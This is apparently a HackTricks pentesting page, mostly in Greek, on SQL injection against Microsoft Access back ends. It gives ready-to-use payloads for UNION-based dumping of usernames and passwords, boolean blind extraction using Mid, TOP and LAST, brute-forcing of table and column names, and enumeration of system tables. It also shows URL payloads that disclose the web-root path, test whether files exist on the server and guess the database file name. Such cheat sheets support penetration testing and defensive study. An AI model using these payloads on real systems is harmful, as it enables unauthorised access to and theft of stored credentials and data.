MS Access SQL Injection

Υποστήριξη HackTricks

Online Playground

DB Limitations

String Concatenation

Η συγχώνευση συμβολοσειρών είναι δυνατή με τους χαρακτήρες & (%26) και + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Σχόλια

Δεν υπάρχουν σχόλια στο MS Access, αλλά προφανώς είναι δυνατόν να αφαιρεθεί το τελευταίο ενός ερωτήματος με έναν χαρακτήρα NULL:

1' union select 1,2 from table%00

Αν αυτό δεν λειτουργεί, μπορείτε πάντα να διορθώσετε τη σύνταξη του ερωτήματος:

1' UNION SELECT 1,2 FROM table WHERE ''='

Stacked Queries

Δεν υποστηρίζονται.

LIMIT

Ο LIMIT χειριστής δεν έχει υλοποιηθεί. Ωστόσο, είναι δυνατόν να περιορίσετε τα αποτελέσματα του SELECT query στις πρώτες N γραμμές του πίνακα χρησιμοποιώντας τον TOP χειριστή. Ο TOP δέχεται ως παράμετρο έναν ακέραιο, που αντιπροσωπεύει τον αριθμό των γραμμών που θα επιστραφούν.

1' UNION SELECT TOP 3 attr FROM table%00

Ακριβώς όπως το TOP, μπορείτε να χρησιμοποιήσετε LAST που θα πάρει τις γραμμές από το τέλος.

UNION Ερωτήσεις/Υποερωτήσεις

Σε μια SQLi, συνήθως θα θέλετε να εκτελέσετε μια νέα ερώτηση για να εξαγάγετε πληροφορίες από άλλους πίνακες. Η MS Access απαιτεί πάντα ότι σε υποερωτήσεις ή επιπλέον ερωτήσεις πρέπει να υποδεικνύεται ένα FROM. Έτσι, αν θέλετε να εκτελέσετε ένα UNION SELECT ή UNION ALL SELECT ή ένα SELECT μέσα σε παρένθεση σε μια συνθήκη, πρέπει πάντα να υποδείξετε ένα FROM με ένα έγκυρο όνομα πίνακα. Επομένως, πρέπει να γνωρίζετε ένα έγκυρο όνομα πίνακα.

-1' UNION SELECT username,password from users%00

Chaining equals + Substring

Αυτό θα σας επιτρέψει να εξάγετε τιμές του τρέχοντος πίνακα χωρίς να χρειάζεται να γνωρίζετε το όνομα του πίνακα.

MS Access επιτρέπει παράξενη σύνταξη όπως '1'=2='3'='asd'=false. Όπως συνήθως, η SQL injection θα είναι μέσα σε μια WHERE ρήτρα και μπορούμε να το εκμεταλλευτούμε αυτό.

Φανταστείτε ότι έχετε μια SQLi σε μια βάση δεδομένων MS Access και γνωρίζετε (ή μαντέψατε) ότι ένα όνομα στήλης είναι username, και αυτό είναι το πεδίο που θέλετε να εξάγετε. Θα μπορούσατε να ελέγξετε τις διαφορετικές απαντήσεις της εφαρμογής ιστού όταν χρησιμοποιείται η τεχνική chaining equals και ενδεχομένως να εξάγετε περιεχόμενο με μια boolean injection χρησιμοποιώντας τη λειτουργία Mid για να αποκτήσετε υποσυμβολοσειρές.

'=(Mid(username,1,3)='adm')='

Αν γνωρίζετε το όνομα του πίνακα και στήλης που θέλετε να εξάγετε, μπορείτε να χρησιμοποιήσετε έναν συνδυασμό μεταξύ Mid, LAST και TOP για να διαρρεύσετε όλες τις πληροφορίες μέσω boolean SQLi:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

Brute-forcing Tables names

Χρησιμοποιώντας την τεχνική chaining equals μπορείτε επίσης να bruteforce table names με κάτι σαν:

'=(select+top+1+'lala'+from+<table_name>)='

Μπορείτε επίσης να χρησιμοποιήσετε έναν πιο παραδοσιακό τρόπο:

-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

Brute-Forcing Columns names

Μπορείτε να brute-force τα τρέχοντα ονόματα στηλών με το κόλπο της αλυσίδας ίσων με:

'=column_name='

Ή με ένα group by:

-1' GROUP BY column_name%00

Ή μπορείτε να κάνετε brute-force τα ονόματα στηλών ενός διαφορετικού πίνακα με:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Dumping data

Έχουμε ήδη συζητήσει την τεχνική αλυσίδωσης ισότητας για να εξάγουμε δεδομένα από τον τρέχοντα και άλλους πίνακες. Αλλά υπάρχουν και άλλοι τρόποι:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

In a nutshell, το ερώτημα χρησιμοποιεί μια δήλωση “if-then” προκειμένου να ενεργοποιήσει ένα “200 OK” σε περίπτωση επιτυχίας ή ένα “500 Internal Error” διαφορετικά. Εκμεταλλευόμενοι τον τελεστή TOP 10, είναι δυνατόν να επιλέξουμε τα πρώτα δέκα αποτελέσματα. Η επακόλουθη χρήση του LAST επιτρέπει να εξετάσουμε μόνο την 10η πλειάδα. Σε αυτή την τιμή, χρησιμοποιώντας τον τελεστή MID, είναι δυνατόν να εκτελέσουμε μια απλή σύγκριση χαρακτήρων. Αλλάζοντας σωστά τον δείκτη του MID και του TOP, μπορούμε να εξάγουμε το περιεχόμενο του πεδίου “username” για όλες τις γραμμές.

Time Based

Check https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Other Interesting functions

  • Mid('admin',1,1) get substring from position 1 length 1 (initial position is 1)

  • LEN('1234') get length of string

  • ASC('A') get ascii value of char

  • CHR(65) get string from ascii value

  • IIF(1=1,'a','b') if then

  • COUNT(*) Count number of items

Enumerating tables

From here you can see a query to get tables names:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Ωστόσο, σημειώστε ότι είναι πολύ τυπικό να βρείτε SQL Injections όπου δεν έχετε πρόσβαση για να διαβάσετε τον πίνακα MSysObjects.

Πρόσβαση στο Σύστημα Αρχείων

Πλήρης Διαδρομή Καταλόγου Ρίζας Ιστοσελίδας

Η γνώση της απόλυτης διαδρομής ρίζας ιστοσελίδας μπορεί να διευκολύνει περαιτέρω επιθέσεις. Εάν τα σφάλματα της εφαρμογής δεν είναι εντελώς κρυμμένα, η διαδρομή του καταλόγου μπορεί να αποκαλυφθεί προσπαθώντας να επιλέξετε δεδομένα από μια ανύπαρκτη βάση δεδομένων.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

Η MS Access απαντά με ένα μήνυμα σφάλματος που περιέχει την πλήρη διαδρομή του καταλόγου ιστού.

Καταμέτρηση Αρχείων

Ο ακόλουθος επιθετικός παράγοντας μπορεί να χρησιμοποιηθεί για να συμπεράνει την ύπαρξη ενός αρχείου στο απομακρυσμένο σύστημα αρχείων. Εάν το καθορισμένο αρχείο υπάρχει, η MS Access ενεργοποιεί ένα μήνυμα σφάλματος που ενημερώνει ότι η μορφή της βάσης δεδομένων είναι μη έγκυρη:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Ένας άλλος τρόπος για να καταμετρήσετε αρχεία είναι να καθορίσετε ένα στοιχείο database.table. Εάν το καθορισμένο αρχείο υπάρχει, η MS Access εμφανίζει ένα μήνυμα σφάλματος μορφής βάσης δεδομένων.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Μαντεψιά Ονόματος Αρχείου .mdb

Το όνομα αρχείου βάσης δεδομένων (.mdb) μπορεί να συμπεραστεί με την ακόλουθη ερώτηση:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Όπου name[i] είναι ένα όνομα αρχείου .mdb και realTable είναι ένας υπάρχων πίνακας μέσα στη βάση δεδομένων. Αν και η MS Access θα ενεργοποιήσει πάντα ένα μήνυμα σφάλματος, είναι δυνατόν να διακριθεί μεταξύ ενός μη έγκυρου ονόματος αρχείου και ενός έγκυρου ονόματος αρχείου .mdb.

Αποκωδικοποιητής Κωδικού Πρόσβασης .mdb

Access PassView είναι ένα δωρεάν εργαλείο που μπορεί να χρησιμοποιηθεί για να ανακτήσει τον κύριο κωδικό πρόσβασης της βάσης δεδομένων του Microsoft Access 95/97/2000/XP ή Jet Database Engine 3.0/4.0.

Αναφορές

Support HackTricks

Last updated